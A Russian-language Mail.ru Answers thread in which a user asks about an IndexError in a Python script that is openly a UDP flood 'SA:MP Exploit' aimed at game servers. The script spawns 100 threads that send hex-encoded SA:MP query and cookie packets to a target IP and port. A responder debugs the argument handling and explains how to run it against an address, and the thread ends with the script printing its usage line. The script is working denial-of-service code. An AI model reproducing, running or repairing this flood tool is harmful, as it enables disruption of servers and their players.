Mail.ruПочтаМой МирОдноклассникиВКонтактеИгрыЗнакомстваНовостиКалендарьОблакоЗаметкиВсе проекты

Что за ошибка? IndexError: list index out of range

Дениэль Егоров Ученик (104), на голосовании 3 недели назад
Traceback (most recent call last):
File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 31, in <module>
start(fakepyfile,mainpyfile)
File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 30, in start
exec(open(mainpyfile).read(), __main__.__dict__)
File "<string>", line 12, in <module>
IndexError: list index out of range

Вот код!!
import socket
import struct
import codecs,sys
import threading
import random
import time
import os




ip = sys.argv[1]
port = sys.argv[2]
orgip =ip

Pacotes = [codecs.decode("53414d5090d91d4d611e700a465b00","hex_codec"),#p
codecs.decode("53414d509538e1a9611e63","hex_codec"),#c
codecs.decode("53414d509538e1a9611e69","hex_codec"),#i
codecs.decode("53414d509538e1a9611e72","hex_codec"),#r
codecs.decode("081e62da","hex_codec"), #cookie port 7796
codecs.decode("081e77da","hex_codec"),#cookie port 7777
codecs.decode("081e4dda","hex_codec"),#cookie port 7771
codecs.decode("021efd40","hex_codec"),#cookie port 7784
codecs.decode("021efd40","hex_codec"),#cookie port 1111
codecs.decode("081e7eda","hex_codec")#cookie port 1111 tambem
]


print("Ataque iniciado no ip: %s e Porta: %s"%(orgip,port))







class MyThread(threading.Thread):
def run(self):
while True:
sock = socket.socket(
socket.AF_INET, socket.SOCK_DGRAM) # Internet and UDP

msg = Pacotes[random.randrange(0,3)]

sock.sendto(msg, (ip, int(port)))


if(int(port) == 7777):
sock.sendto(Pacotes[5], (ip, int(port)))
elif(int(port) == 7796):
sock.sendto(Pacotes[4], (ip, int(port)))
elif(int(port) == 7771):
sock.sendto(Pacotes[6], (ip, int(port)))
elif(int(port) == 7784):
sock.sendto(Pacotes[7], (ip, int(port)))
elif(int(port) == 1111):
sock.sendto(Pacotes[9], (ip, int(port)))


if __name__ == '__main__':
try:
for x in range(100):
mythread = MyThread()
mythread.start()
time.sleep(.1)
except(KeyboardInterrupt):
os.system('cls' if os.name == 'nt' else 'clear')

print('#########################################################################')
print('SA:MP Exploit')
print('#########################################################################')
print('\n\n')
print('Ataque para ip {} foi parado'.format(orgip))
pass
Голосование за лучший ответ
Татьяна Просветленный (36390) 1 месяц назад
Ошибка "IndexError: list index out of range" возникает, когда ты пытаешься получить доступ к индексу списка, который находится за пределами допустимого диапазона.

В твоем коде проблема, скорее всего, возникает из-за того, что вы пытаетесь получить аргументы командной строки, которые не были переданы при запуске скрипта. Конкретно, эти строки:
 ip = sys.argv[1] 
port = sys.argv[2]
Более правильнее
 if len(sys.argv) < 3: 
print("Usage: python script.py <ip> <port>")
sys.exit(1)

ip = sys.argv[1]
port = sys.argv[2]
или
 ip = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" 
port = sys.argv[2] if len(sys.argv) > 2 else "80"
и Запускать нужно как пример :
 python твой скрипт.py 192.168.1.1 8080 
Дениэль ЕгоровУченик (104) 1 месяц назад
Traceback (most recent call last):
File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 31, in <module>
start(fakepyfile,mainpyfile)
File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 30, in start
exec(open(mainpyfile).read(), __main__.__dict__)
File "<string>", line 13
port = sys.argv[2] if len(sys.argv
^
SyntaxError: '(' was never closed

[Program finished]
Дениэль ЕгоровУченик (104) 1 месяц назад
Это результат после корректировки
Дениэль ЕгоровУченик (104) 1 месяц назад
Usage: python script.py <ip> <port>

[Program finished]
Похожие вопросы